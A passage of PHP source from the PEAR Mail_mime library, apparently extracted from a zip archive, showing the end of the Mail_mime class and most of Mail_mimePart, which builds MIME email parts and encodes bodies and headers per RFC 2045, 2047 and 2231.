            if ($this->build_params['calendar_method']) {
                $method = 'method=' . $this->build_params['calendar_method'];
                $headers['Content-Type'] .= "; $method";
            }

            $headers['Content-Transfer-Encoding']
                = $this->build_params['calendar_encoding'];
        } else {
            // multipart message: and boundary
            if (!empty($this->build_params['boundary'])) {
                $boundary = $this->build_params['boundary'];
            } else if (!empty($this->headers['Content-Type'])
                && preg_match('/boundary="([^"]+)"/', $this->headers['Content-Type'], $m)
            ) {
                $boundary = $m[1];
            } else {
                $boundary = '=_' . md5(rand() . microtime());
            }

            $this->build_params['boundary'] = $boundary;
            $headers['Content-Type'] .= ";$eol boundary=\"$boundary\"";
        }

        return $headers;
    }

    /**
     * Validate and set build parameters
     *
     * @return void
     */
    protected function checkParams()
    {
        $encodings = array('7bit', '8bit', 'base64', 'quoted-printable');

        $this->build_params['text_encoding']
            = strtolower($this->build_params['text_encoding']);
        $this->build_params['html_encoding']
            = strtolower($this->build_params['html_encoding']);
        $this->build_params['calendar_encoding']
            = strtolower($this->build_params['calendar_encoding']);

        if (!in_array($this->build_params['text_encoding'], $encodings)) {
            $this->build_params['text_encoding'] = '7bit';
        }
        if (!in_array($this->build_params['html_encoding'], $encodings)) {
            $this->build_params['html_encoding'] = '7bit';
        }
        if (!in_array($this->build_params['calendar_encoding'], $encodings)) {
            $this->build_params['calendar_encoding'] = '7bit';
        }

        // text body
        if ($this->build_params['text_encoding'] == '7bit'
            && !preg_match('/ascii/i', $this->build_params['text_charset'])
            && preg_match('/[^\x00-\x7F]/', $this->txtbody)
        ) {
            $this->build_params['text_encoding'] = 'quoted-printable';
        }
        // html body
        if ($this->build_params['html_encoding'] == '7bit'
            && !preg_match('/ascii/i', $this->build_params['html_charset'])
            && preg_match('/[^\x00-\x7F]/', $this->htmlbody)
        ) {
            $this->build_params['html_encoding'] = 'quoted-printable';
        }
        // calendar body
        if ($this->build_params['calendar_encoding'] == '7bit'
            && !preg_match('/ascii/i', $this->build_params['calendar_charset'])
            && preg_match('/[^\x00-\x7F]/', $this->calbody)
        ) {
            $this->build_params['calendar_encoding'] = 'quoted-printable';
        }
    }

    /**
     * Set body of specified message part
     *
     * @param string $type   One of: txtbody, calbody, htmlbody
     * @param string $data   Either a string or the file name with the contents
     * @param bool   $isfile If true the first param should be treated
     *                       as a file name, else as a string (default)
     * @param bool   $append If true the text or file is appended to
     *                       the existing body, else the old body is
     *                       overwritten
     *
     * @return mixed True on success or PEAR_Error object
     */
    protected function setBody($type, $data, $isfile = false, $append = false)
    {
        if ($isfile) {
            $data = $this->file2str($data);
            if (self::isError($data)) {
                return $data;
            }
        }

        if (!$append) {
            $this->{$type} = $data;
        } else {
            $this->{$type} .= $data;
        }

        return true;
    }

    /**
     * Adds a subpart to the mimePart object and
     * returns it during the build process.
     *
     * @param mixed  $obj   The object to add the part to, or
     *                      anything else if a new object is to be created.
     * @param string $body  Part body
     * @param string $ctype Part content type
     * @param string $type  Internal part type
     *
     * @return Mail_mimePart The mimePart object
     */
    protected function addBodyPart($obj, $body, $ctype, $type)
    {
        $params['content_type'] = $ctype;
        $params['encoding']     = $this->build_params[$type . '_encoding'];
        $params['charset']      = $this->build_params[$type . '_charset'];
        $params['eol']          = $this->build_params['eol'];

        if (is_object($obj)) {
            $ret = $obj->addSubpart($body, $params);
        } else {
            $ret = new Mail_mimePart($body, $params);
        }

        return $ret;
    }

    /**
     * PEAR::isError implementation
     *
     * @param mixed $data Object
     *
     * @return bool True if object is an instance of PEAR_Error
     */
    public static function isError($data)
    {
        // PEAR::isError() is not PHP 5.4 compatible (see Bug #19473)
        if (is_a($data, 'PEAR_Error')) {
            return true;
        }

        return false;
    }

    /**
     * PEAR::raiseError implementation
     *
     * @param string $message A text error message
     *
     * @return PEAR_Error Instance of PEAR_Error
     */
    public static function raiseError($message)
    {
        // PEAR::raiseError() is not PHP 5.4 compatible
        return new PEAR_Error($message);
    }
}
PK
h�\|n��W�W�'vendor/pear/mail_mime/Mail/mimePart.phpnu�[���<?php
/**
 * The Mail_mimePart class is used to create MIME E-mail messages
 *
 * This class enables you to manipulate and build a mime email
 * from the ground up. The Mail_Mime class is a userfriendly api
 * to this class for people who aren't interested in the internals
 * of mime mail.
 * This class however allows full control over the email.
 *
 * Compatible with PHP version 5, 7 and 8
 *
 * LICENSE: This LICENSE is in the BSD license style.
 * Copyright (c) 2002-2003, Richard Heyes <richard@phpguru.org>
 * Copyright (c) 2003-2006, PEAR <pear-group@php.net>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or
 * without modification, are permitted provided that the following
 * conditions are met:
 *
 * - Redistributions of source code must retain the above copyright
 *   notice, this list of conditions and the following disclaimer.
 * - Redistributions in binary form must reproduce the above copyright
 *   notice, this list of conditions and the following disclaimer in the
 *   documentation and/or other materials provided with the distribution.
 * - Neither the name of the authors, nor the names of its contributors
 *   may be used to endorse or promote products derived from this
 *   software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 * THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category  Mail
 * @package   Mail_Mime
 * @author    Richard Heyes  <richard@phpguru.org>
 * @author    Cipriano Groenendal <cipri@php.net>
 * @author    Sean Coates <sean@php.net>
 * @author    Aleksander Machniak <alec@php.net>
 * @copyright 2003-2006 PEAR <pear-group@php.net>
 * @license   http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Mail_mime
 */

/**
 * Require PEAR
 *
 * This package depends on PEAR to raise errors.
 */
require_once 'PEAR.php';

/**
 * The Mail_mimePart class is used to create MIME E-mail messages
 *
 * This class enables you to manipulate and build a mime email
 * from the ground up. The Mail_Mime class is a userfriendly api
 * to this class for people who aren't interested in the internals
 * of mime mail.
 * This class however allows full control over the email.
 *
 * @category  Mail
 * @package   Mail_Mime
 * @author    Richard Heyes  <richard@phpguru.org>
 * @author    Cipriano Groenendal <cipri@php.net>
 * @author    Sean Coates <sean@php.net>
 * @author    Aleksander Machniak <alec@php.net>
 * @copyright 2003-2006 PEAR <pear-group@php.net>
 * @license   http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Mail_mime
 */
class Mail_mimePart
{
    /**
     * The encoding type of this part
     *
     * @var string
     */
    protected $encoding;

    /**
     * An array of subparts
     *
     * @var array
     */
    protected $subparts = array();

    /**
     * The output of this part after being built
     *
     * @var string
     */
    protected $encoded;

    /**
     * Headers for this part
     *
     * @var array
     */
    protected $headers = array();

    /**
     * The body of this part (not encoded)
     *
     * @var string
     */
    protected $body;

    /**
     * The location of file with body of this part (not encoded)
     *
     * @var string
     */
    protected $body_file;

    /**
     * The short text of multipart part preamble (RFC2046 5.1.1)
     *
     * @var string
     */
    protected $preamble;

    /**
     * The end-of-line sequence
     *
     * @var string
     */
    protected $eol = "\r\n";


    /**
     * Constructor.
     *
     * Sets up the object.
     *
     * @param string $body   The body of the mime part if any.
     * @param array  $params An associative array of optional parameters:
     *                       - content_type: The content type for this part eg multipart/mixed
     *                       - encoding:  The encoding to use, 7bit, 8bit, base64, or quoted-printable
     *                       - charset: Content character set
     *                       - cid: Content ID to apply
     *                       - disposition: Content disposition, inline or attachment
     *                       - filename: Filename parameter for content disposition
     *                       - description: Content description
     *                       - name_encoding: Encoding of the attachment name (Content-Type)
     *                       By default filenames are encoded using RFC2231
     *                       Here you can set RFC2047 encoding (quoted-printable
     *                       or base64) instead
     *                       - filename_encoding: Encoding of the attachment filename (Content-Disposition)
     *                       See 'name_encoding'
     *                       - headers_charset: Charset of the headers e.g. filename, description.
     *                       If not set, 'charset' will be used
     *                       - eol: End of line sequence. Default: "\r\n"
     *                       - headers: Hash array with additional part headers. Array keys
     *                       can be in form of <header_name>:<parameter_name>
     *                       - body_file: Location of file with part's body (instead of $body)
     *                       - preamble: short text of multipart part preamble (RFC2046 5.1.1)
     */
    public function __construct($body = '', $params = array())
    {
        if (!empty($params['eol'])) {
            $this->eol = $params['eol'];
        } else if (defined('MAIL_MIMEPART_CRLF')) { // backward-copat.
            $this->eol = MAIL_MIMEPART_CRLF;
        }

        // Additional part headers
        if (!empty($params['headers']) && is_array($params['headers'])) {
            $headers = $params['headers'];
        }

        foreach ($params as $key => $value) {
            switch ($key) {
            case 'encoding':
                $this->encoding = $value;
                $headers['Content-Transfer-Encoding'] = $value;
                break;

            case 'cid':
                $headers['Content-ID'] = '<' . $value . '>';
                break;

            case 'location':
                $headers['Content-Location'] = $value;
                break;

            case 'body_file':
                $this->body_file = $value;
                break;

            case 'preamble':
                $this->preamble = $value;
                break;

            // for backward compatibility
            case 'dfilename':
                $params['filename'] = $value;
                break;
            }
        }

        // Default content-type
        if (empty($params['content_type'])) {
            $params['content_type'] = 'text/plain';
        }

        // Content-Type
        $headers['Content-Type'] = $params['content_type'];
        if (!empty($params['charset'])) {
            $charset = "charset={$params['charset']}";
            // place charset parameter in the same line, if possible
            if ((strlen($headers['Content-Type']) + strlen($charset) + 16) <= 76) {
                $headers['Content-Type'] .= '; ';
            } else {
                $headers['Content-Type'] .= ';' . $this->eol . ' ';
            }
            $headers['Content-Type'] .= $charset;

            // Default headers charset
            if (!isset($params['headers_charset'])) {
                $params['headers_charset'] = $params['charset'];
            }
        }

        // header values encoding parameters
        $h_charset  = !empty($params['headers_charset']) ? $params['headers_charset'] : 'US-ASCII';
        $h_language = !empty($params['language']) ? $params['language'] : null;
        $h_encoding = !empty($params['name_encoding']) ? $params['name_encoding'] : null;

        if (!empty($params['filename'])) {
            $headers['Content-Type'] .= ';' . $this->eol;
            $headers['Content-Type'] .= $this->buildHeaderParam(
                'name', $params['filename'], $h_charset, $h_language, $h_encoding
            );
        }

        // Content-Disposition
        if (!empty($params['disposition'])) {
            $headers['Content-Disposition'] = $params['disposition'];
            if (!empty($params['filename'])) {
                $headers['Content-Disposition'] .= ';' . $this->eol;
                $headers['Content-Disposition'] .= $this->buildHeaderParam(
                    'filename', $params['filename'], $h_charset, $h_language,
                    !empty($params['filename_encoding']) ? $params['filename_encoding'] : null
                );
            }

            // add attachment size
            $size = $this->body_file ? filesize($this->body_file) : strlen($body);
            if ($size) {
                $headers['Content-Disposition'] .= ';' . $this->eol . ' size=' . $size;
            }
        }

        if (!empty($params['description'])) {
            $headers['Content-Description'] = $this->encodeHeader(
                'Content-Description', $params['description'], $h_charset, $h_encoding,
                $this->eol
            );
        }

        // Search and add existing headers' parameters
        foreach ($headers as $key => $value) {
            $items = explode(':', $key);
            if (count($items) == 2) {
                $header = $items[0];
                $param  = $items[1];
                if (isset($headers[$header])) {
                    $headers[$header] .= ';' . $this->eol;
                }
                $headers[$header] .= $this->buildHeaderParam(
                    $param, $value, $h_charset, $h_language, $h_encoding
                );
                unset($headers[$key]);
            }
        }

        // Default encoding
        if (!isset($this->encoding)) {
            $this->encoding = '7bit';
        }

        // Assign stuff to member variables
        $this->encoded  = array();
        $this->headers  = $headers;
        $this->body     = $body;
    }

    /**
     * Encodes and returns the email. Also stores
     * it in the encoded member variable
     *
     * @param string $boundary Pre-defined boundary string
     *
     * @return array An associative array containing two elements,
     *               body and headers. The headers element is itself
     *               an indexed array. On error returns PEAR error object.
     */
    public function encode($boundary = null)
    {
        $encoded =& $this->encoded;

        if (count($this->subparts)) {
            $boundary = $boundary ? $boundary : '=_' . md5(rand() . microtime());
            $eol = $this->eol;

            $this->headers['Content-Type'] .= ";$eol boundary=\"$boundary\"";

            $encoded['body'] = '';

            if ($this->preamble) {
                $encoded['body'] .= $this->preamble . $eol . $eol;
            }

            for ($i = 0; $i < count($this->subparts); $i++) {
                $encoded['body'] .= '--' . $boundary . $eol;
                $tmp = $this->subparts[$i]->encode();
                if (is_a($tmp, 'PEAR_Error')) {
                    return $tmp;
                }
                foreach ($tmp['headers'] as $key => $value) {
                    $encoded['body'] .= $key . ': ' . $value . $eol;
                }
                $encoded['body'] .= $eol . $tmp['body'] . $eol;
            }

            $encoded['body'] .= '--' . $boundary . '--' . $eol;
        } else if ($this->body) {
            $encoded['body'] = $this->getEncodedData($this->body, $this->encoding);
        } else if ($this->body_file) {
            // Temporarily reset magic_quotes_runtime for file reads and writes
            if (version_compare(PHP_VERSION, '5.4.0', '<')) {
                $magic_quotes = @ini_set('magic_quotes_runtime', 0);
            }
            $body = $this->getEncodedDataFromFile($this->body_file, $this->encoding);
            if (isset($magic_quotes)) {
                @ini_set('magic_quotes_runtime', $magic_quotes);
            }

            if (is_a($body, 'PEAR_Error')) {
                return $body;
            }
            $encoded['body'] = $body;
        } else {
            $encoded['body'] = '';
        }

        // Add headers to $encoded
        $encoded['headers'] =& $this->headers;

        return $encoded;
    }

    /**
     * Encodes and saves the email into file or stream.
     * Data will be appended to the file/stream.
     *
     * @param mixed  $filename  Existing file location
     *                          or file pointer resource
     * @param string $boundary  Pre-defined boundary string
     * @param bool   $skip_head True if you don't want to save headers
     *
     * @return array An associative array containing message headers
     *               or PEAR error object
     * @since  1.6.0
     */
    public function encodeToFile($filename, $boundary = null, $skip_head = false)
    {
        if (!is_resource($filename)) {
            if (file_exists($filename) && !is_writable($filename)) {
                $err = self::raiseError('File is not writeable: ' . $filename);
                return $err;
            }

            if (!($fh = fopen($filename, 'ab'))) {
                $err = self::raiseError('Unable to open file: ' . $filename);
                return $err;
            }
        } else {
            $fh = $filename;
        }

        // Temporarily reset magic_quotes_runtime for file reads and writes
        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            $magic_quotes = @ini_set('magic_quotes_runtime', 0);
        }

        $res = $this->encodePartToFile($fh, $boundary, $skip_head);

        if (!is_resource($filename)) {
            fclose($fh);
        }

        if (isset($magic_quotes)) {
            @ini_set('magic_quotes_runtime', $magic_quotes);
        }

        return is_a($res, 'PEAR_Error') ? $res : $this->headers;
    }

    /**
     * Encodes given email part into file
     *
     * @param string $fh        Output file handle
     * @param string $boundary  Pre-defined boundary string
     * @param bool   $skip_head True if you don't want to save headers
     *
     * @return array True on sucess or PEAR error object
     */
    protected function encodePartToFile($fh, $boundary = null, $skip_head = false)
    {
        $eol = $this->eol;

        if (count($this->subparts)) {
            $boundary = $boundary ? $boundary : '=_' . md5(rand() . microtime());
            $this->headers['Content-Type'] .= ";$eol boundary=\"$boundary\"";
        }

        if (!$skip_head) {
            foreach ($this->headers as $key => $value) {
                fwrite($fh, $key . ': ' . $value . $eol);
            }
            $f_eol = $eol;
        } else {
            $f_eol = '';
        }

        if (count($this->subparts)) {
            if ($this->preamble) {
                fwrite($fh, $f_eol . $this->preamble . $eol);
                $f_eol = $eol;
            }

            for ($i = 0; $i < count($this->subparts); $i++) {
                fwrite($fh, $f_eol . '--' . $boundary . $eol);
                $res = $this->subparts[$i]->encodePartToFile($fh);
                if (is_a($res, 'PEAR_Error')) {
                    return $res;
                }
                $f_eol = $eol;
            }

            fwrite($fh, $eol . '--' . $boundary . '--' . $eol);
        } else if ($this->body) {
            fwrite($fh, $f_eol);
            fwrite($fh, $this->getEncodedData($this->body, $this->encoding));
        } else if ($this->body_file) {
            fwrite($fh, $f_eol);
            $res = $this->getEncodedDataFromFile(
                $this->body_file, $this->encoding, $fh
            );
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }
        }

        return true;
    }

    /**
     * Adds a subpart to current mime part and returns
     * a reference to it
     *
     * @param mixed $body   The body of the subpart or Mail_mimePart object
     * @param array $params The parameters for the subpart, same
     *                      as the $params argument for constructor
     *
     * @return Mail_mimePart A reference to the part you just added.
     */
    public function addSubpart($body, $params = null)
    {
        if ($body instanceof Mail_mimePart) {
            $part = $body;
        } else {
            $part = new Mail_mimePart($body, $params);
        }

        $this->subparts[] = $part;

        return $part;
    }

    /**
     * Returns encoded data based upon encoding passed to it
     *
     * @param string $data     The data to encode.
     * @param string $encoding The encoding type to use, 7bit, base64,
     *                         or quoted-printable.
     *
     * @return string Encoded data string
     */
    protected function getEncodedData($data, $encoding)
    {
        switch ($encoding) {
        case 'quoted-printable':
            return self::quotedPrintableEncode($data, 76, $this->eol);
            break;

        case 'base64':
            return rtrim(chunk_split(base64_encode($data), 76, $this->eol));
            break;

        case '8bit':
        case '7bit':
        default:
            return $data;
        }
    }

    /**
     * Returns encoded data based upon encoding passed to it
     *
     * @param string   $filename Data file location
     * @param string   $encoding The encoding type to use, 7bit, base64,
     *                           or quoted-printable.
     * @param resource $fh       Output file handle. If set, data will be
     *                           stored into it instead of returning it
     *
     * @return string Encoded data or PEAR error object
     */
    protected function getEncodedDataFromFile($filename, $encoding, $fh = null)
    {
        if (!is_readable($filename)) {
            $err = self::raiseError('Unable to read file: ' . $filename);
            return $err;
        }

        if (!($fd = fopen($filename, 'rb'))) {
            $err = self::raiseError('Could not open file: ' . $filename);
            return $err;
        }

        $data = '';

        switch ($encoding) {
        case 'quoted-printable':
            while (!feof($fd)) {
                $buffer = self::quotedPrintableEncode(fgets($fd), 76, $this->eol);
                if ($fh) {
                    fwrite($fh, $buffer);
                } else {
                    $data .= $buffer;
                }
            }
            break;

        case 'base64':
            while (!feof($fd)) {
                // Should read in a multiple of 57 bytes so that
                // the output is 76 bytes per line. Don't use big chunks
                // because base64 encoding is memory expensive
                $buffer = fread($fd, 57 * 9198); // ca. 0.5 MB
                $buffer = base64_encode($buffer);
                $buffer = chunk_split($buffer, 76, $this->eol);
                if (feof($fd)) {
                    $buffer = rtrim($buffer);
                }

                if ($fh) {
                    fwrite($fh, $buffer);
                } else {
                    $data .= $buffer;
                }
            }
            break;

        case '8bit':
        case '7bit':
        default:
            while (!feof($fd)) {
                $buffer = fread($fd, 1048576); // 1 MB
                if ($fh) {
                    fwrite($fh, $buffer);
                } else {
                    $data .= $buffer;
                }
            }
        }

        fclose($fd);

        if (!$fh) {
            return $data;
        }
    }

    /**
     * Encodes data to quoted-printable standard.
     *
     * @param string $input    The data to encode
     * @param int    $line_max Optional max line length. Should
     *                         not be more than 76 chars
     * @param string $eol      End-of-line sequence. Default: "\r\n"
     *
     * @return string Encoded data
     */
    public static function quotedPrintableEncode($input , $line_max = 76, $eol = "\r\n")
    {
        /*
        // imap_8bit() is extremely fast, but doesn't handle properly some characters
        if (function_exists('imap_8bit') && $line_max == 76) {
            $input = preg_replace('/\r?\n/', "\r\n", $input);
            $input = imap_8bit($input);
            if ($eol != "\r\n") {
                $input = str_replace("\r\n", $eol, $input);
            }
            return $input;
        }
        */
        $lines  = preg_split("/\r?\n/", $input);
        $escape = '=';
        $output = '';

        foreach ($lines as $idx => $line) {
            $newline = '';
            $i = 0;

            while (isset($line[$i])) {
                $char = $line[$i];
                $dec  = ord($char);
                $i++;

                if (($dec == 32) && (!isset($line[$i]))) {
                    // convert space at eol only
                    $char = '=20';
                } elseif ($dec == 9 && isset($line[$i])) {
                    ; // Do nothing if a TAB is not on eol
                } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) {
                    // Escape unprintable chars
                    $char = $escape . sprintf('%02X', $dec);
                } elseif (($dec == 46) && (($newline == '')
                    || ((strlen($newline) + strlen(".=")) > $line_max
                    && isset($line[$i])))
                ) {
                    // Bug #9722: convert full-stop at bol,
                    // some Windows servers need this, won't break anything (cipri)
                    // Bug #11731: full-stop at bol also needs to be encoded
                    // if this line would push us over the line_max limit.
                    $char = '=2E';
                }

                // EOL is not counted
                if ((strlen($newline) + strlen($char) == $line_max)
                    && !isset($line[$i])
                ) {
                    ; // no soft break is needed if we're the last char
                } elseif ((strlen($newline) + strlen($char)) >= $line_max) {
                    // soft line break; " =\r\n" is okay
                    $output  .= $newline . $escape . $eol;
                    $newline  = '';
                }

                $newline .= $char;
            } // end of for

            $output .= $newline . $eol;
            unset($lines[$idx]);
        }

        // Don't want last crlf
        $output = substr($output, 0, -1 * strlen($eol));

        return $output;
    }

    /**
     * Encodes the parameter of a header.
     *
     * @param string $name      The name of the header-parameter
     * @param string $value     The value of the paramter
     * @param string $charset   The characterset of $value
     * @param string $language  The language used in $value
     * @param string $encoding  Parameter encoding. If not set, parameter value
     *                          is encoded according to RFC2231
     * @param int    $maxLength The maximum length of a line. Defauls to 75
     *
     * @return string
     */
    protected function buildHeaderParam($name, $value, $charset = null,
        $language = null, $encoding = null, $maxLength = 75
    ) {
        // RFC 2045:
        // value needs encoding if contains non-ASCII chars or is longer than 78 chars
        if (!preg_match('#[^\x20-\x7E]#', $value)) {
            $token_regexp = '#([^\x21\x23-\x27\x2A\x2B\x2D'
                . '\x2E\x30-\x39\x41-\x5A\x5E-\x7E])#';
            if (!preg_match($token_regexp, $value)) {
                // token
                if (strlen($name) + strlen($value) + 3 <= $maxLength) {
                    return " {$name}={$value}";
                }
            } else {
                // quoted-string
                $quoted = addcslashes($value, '\\"');
                if (strlen($name) + strlen($quoted) + 5 <= $maxLength) {
                    return " {$name}=\"{$quoted}\"";
                }
            }
        }

        // RFC2047: use quoted-printable/base64 encoding
        if ($encoding == 'quoted-printable' || $encoding == 'base64') {
            return $this->buildRFC2047Param($name, $value, $charset, $encoding);
        }

        // RFC2231:
        $encValue = preg_replace_callback(
            '/([^\x21\x23\x24\x26\x2B\x2D\x2E\x30-\x39\x41-\x5A\x5E-\x7E])/',
            array($this, 'encodeReplaceCallback'), $value
        );
        $value = "$charset'$language'$encValue";

        $header = " {$name}*={$value}";
        if (strlen($header) <= $maxLength) {
            return $header;
        }

        $preLength = strlen(" {$name}*0*=");
        $maxLength = max(16, $maxLength - $preLength - 3);
        $maxLengthReg = "|(.{0,$maxLength}[^\%][^\%])|";

        $headers = array();
        $headCount = 0;
        while ($value) {
            $matches = array();
            $found = preg_match($maxLengthReg, $value, $matches);
            if ($found) {
                $headers[] = " {$name}*{$headCount}*={$matches[0]}";
                $value = substr($value, strlen($matches[0]));
            } else {
                $headers[] = " {$name}*{$headCount}*={$value}";
                $value = '';
            }
            $headCount++;
        }

        $headers = implode(';' . $this->eol, $headers);
        return $headers;
    }

    /**
     * Encodes header parameter as per RFC2047 if needed
     *
     * @param string $name      The parameter name
     * @param string $value     The parameter value
     * @param string $charset   The parameter charset
     * @param string $encoding  Encoding type (quoted-printable or base64)
     * @param int    $maxLength Encoded parameter max length. Default: 76
     *
     * @return string Parameter line
     */
    protected function buildRFC2047Param($name, $value, $charset,
        $encoding = 'quoted-printable', $maxLength = 76
    ) {
        // WARNING: RFC 2047 says: "An 'encoded-word' MUST NOT be used in
        // parameter of a MIME Content-Type or Content-Disposition field",
        // but... it's supported by many clients/servers
        $quoted = '';

        if ($encoding == 'base64') {
            $value = base64_encode($value);
            $prefix = '=?' . $charset . '?B?';
            $suffix = '?=';

            // 2 x SPACE, 2 x '"', '=', ';'
            $add_len = strlen($prefix . $suffix) + strlen($name) + 6;
            $len = $add_len + strlen($value);

            while ($len > $maxLength) { 
                // We can cut base64-encoded string every 4 characters
                $real_len = floor(($maxLength - $add_len) / 4) * 4;
                $_quote = substr($value, 0, $real_len);
                $value = substr($value, $real_len);

                $quoted .= $prefix . $_quote . $suffix . $this->eol . ' ';
                $add_len = strlen($prefix . $suffix) + 4; // 2 x SPACE, '"', ';'
                $len = strlen($value) + $add_len;
            }
            $quoted .= $prefix . $value . $suffix;

        } else {
            // quoted-printable
            $value = $this->encodeQP($value);
            $prefix = '=?' . $charset . '?Q?';
            $suffix = '?=';

            // 2 x SPACE, 2 x '"', '=', ';'
            $add_len = strlen($prefix . $suffix) + strlen($name) + 6;
            $len = $add_len + strlen($value);

            while ($len > $maxLength) {
                $length = $maxLength - $add_len;
                // don't break any encoded letters
                if (preg_match("/^(.{0,$length}[^\=][^\=])/", $value, $matches)) {
                    $_quote = $matches[1];
                }

                $quoted .= $prefix . $_quote . $suffix . $this->eol . ' ';
                $value = substr($value, strlen($_quote));
                $add_len = strlen($prefix . $suffix) + 4; // 2 x SPACE, '"', ';'
                $len = strlen($value) + $add_len;
            }

            $quoted .= $prefix . $value . $suffix;
        }

        return " {$name}=\"{$quoted}\"";
    }

    /**
     * Return charset for mbstring functions.
     * Replace ISO-2022-JP with ISO-2022-JP-MS to convert Windows dependent
     * characters.
     *
     * @param string $charset A original charset
     *
     * @return string A charset for mbstring
     * @since  1.10.8
     */
    protected static function mbstringCharset($charset)
    {
        $mb_charset = $charset;

        if ($charset == 'ISO-2022-JP') {
            $mb_charset = 'ISO-2022-JP-MS';
        }

        return $mb_charset;
    }

    /**
     * Encodes a header as per RFC2047
     *
     * @param string $name     The header name
     * @param string $value    The header data to encode
     * @param string $charset  Character set name
     * @param string $encoding Encoding name (base64 or quoted-printable)
     * @param string $eol      End-of-line sequence. Default: "\r\n"
     *
     * @return string Encoded header data (without a name)
     * @since  1.6.1
     */
    public static function encodeHeader($name, $value, $charset = 'ISO-8859-1',
        $encoding = 'quoted-printable', $eol = "\r\n"
    ) {
        // Structured headers
        $comma_headers = array(
            'from', 'to', 'cc', 'bcc', 'sender', 'reply-to',
            'resent-from', 'resent-to', 'resent-cc', 'resent-bcc',
            'resent-sender', 'resent-reply-to',
            'mail-reply-to', 'mail-followup-to',
            'return-receipt-to', 'disposition-notification-to',
        );
        $other_headers = array(
            'references', 'in-reply-to', 'message-id', 'resent-message-id',
        );

        $name = strtolower($name);

        if (in_array($name, $comma_headers)) {
            $separator = ',';
        } else if (in_array($name, $other_headers)) {
            $separator = ' ';
        }

        if (!$charset) {
            $charset = 'ISO-8859-1';
        }

        // exploding quoted strings as well as some regexes below do not
        // work properly with some charset e.g. ISO-2022-JP, we'll use UTF-8
        $mb = $charset != 'UTF-8' && function_exists('mb_convert_encoding');
        $mb_charset = Mail_mimePart::mbstringCharset($charset);

        // Structured header (make sure addr-spec inside is not encoded)
        if (!empty($separator)) {
            // Simple e-mail address regexp
            $email_regexp = '([^\s<]+|("[^\r\n"]+"))@[^\s"]+';

            if ($mb) {
                $value = mb_convert_encoding($value, 'UTF-8', $mb_charset);
            }

            $parts = Mail_mimePart::explodeQuotedString("[\t$separator]", $value);
            $value = '';

            foreach ($parts as $part) {
                $part = preg_replace('/\r?\n[\s\t]*/', $eol . ' ', $part);
                $part = trim($part);

                if (!$part) {
                    continue;
                }
                if ($value) {
                    $value .= $separator == ',' ? $separator . ' ' : ' ';
                } else {
                    $value = $name . ': ';
                }

                // let's find phrase (name) and/or addr-spec
                if (preg_match('/^<' . $email_regexp . '>$/', $part)) {
                    $value .= $part;
                } else if (preg_match('/^' . $email_regexp . '$/', $part)) {
                    // address without brackets and without name
                    $value .= $part;
                } else if (preg_match('/<*' . $email_regexp . '>*$/', $part, $matches)) {
                    // address with name (handle name)
                    $address = $matches[0];
                    $word    = str_replace($address, '', $part);
                    $word    = trim($word);

                    // check if phrase requires quoting
                    if ($word) {
                        // non-ASCII: require encoding
                        if (preg_match('#([^\s\x21-\x7E]){1}#', $word)) {
                            if ($word[0] == '"' && $word[strlen($word)-1] == '"') {
                                // de-quote quoted-string, encoding changes
                                // string to atom
                                $word = substr($word, 1, -1);
                                $word = preg_replace('/\\\\([\\\\"])/', '$1', $word);
                            }
                            if ($mb) {
                                $word = mb_convert_encoding($word, $mb_charset, 'UTF-8');
                            }

                            // find length of last line
                            if (($pos = strrpos($value, $eol)) !== false) {
                                $last_len = strlen($value) - $pos;
                            } else {
                                $last_len = strlen($value);
                            }

                            $word = Mail_mimePart::encodeHeaderValue(
                                $word, $charset, $encoding, $last_len, $eol
                            );
                        } else if (($word[0] != '"' || $word[strlen($word)-1] != '"')
                            && preg_match('/[\(\)\<\>\\\.\[\]@,;:"]/', $word)
                        ) {
                            // ASCII: quote string if needed
                            $word = '"'.addcslashes($word, '\\"').'"';
                        }
                    }

                    $value .= $word.' '.$address;
                } else {
                    if ($mb) {
                        $part = mb_convert_encoding($part, $mb_charset, 'UTF-8');
                    }
                    // addr-spec not found, don't encode (?)
                    $value .= $part;
                }

                // RFC2822 recommends 78 characters limit, use 76 from RFC2047
                $value = wordwrap($value, 76, $eol . ' ');
            }

            // remove header name prefix (there could be EOL too)
            $value = preg_replace(
                '/^'.$name.':('.preg_quote($eol, '/').')* /', '', $value
            );
        } else {
            // Unstructured header
            // non-ASCII: require encoding
            if (preg_match('#([^\s\x21-\x7E]){1}#', $value)) {
                if ($value[0] == '"' && $value[strlen($value)-1] == '"') {
                    if ($mb) {
                        $value = mb_convert_encoding($value, 'UTF-8', $mb_charset);
                    }
                    // de-quote quoted-string, encoding changes
                    // string to atom
                    $value = substr($value, 1, -1);
                    $value = preg_replace('/\\\\([\\\\"])/', '$1', $value);
                    if ($mb) {
                        $value = mb_convert_encoding($value, $mb_charset, 'UTF-8');
                    }
                }

                $value = Mail_mimePart::encodeHeaderValue(
                    $value, $charset, $encoding, strlen($name) + 2, $eol
                );
            } else if (strlen($name.': '.$value) > 78) {
                // ASCII: check if header line isn't too long and use folding
                $value = preg_replace('/\r?\n[\s\t]*/', $eol . ' ', $value);
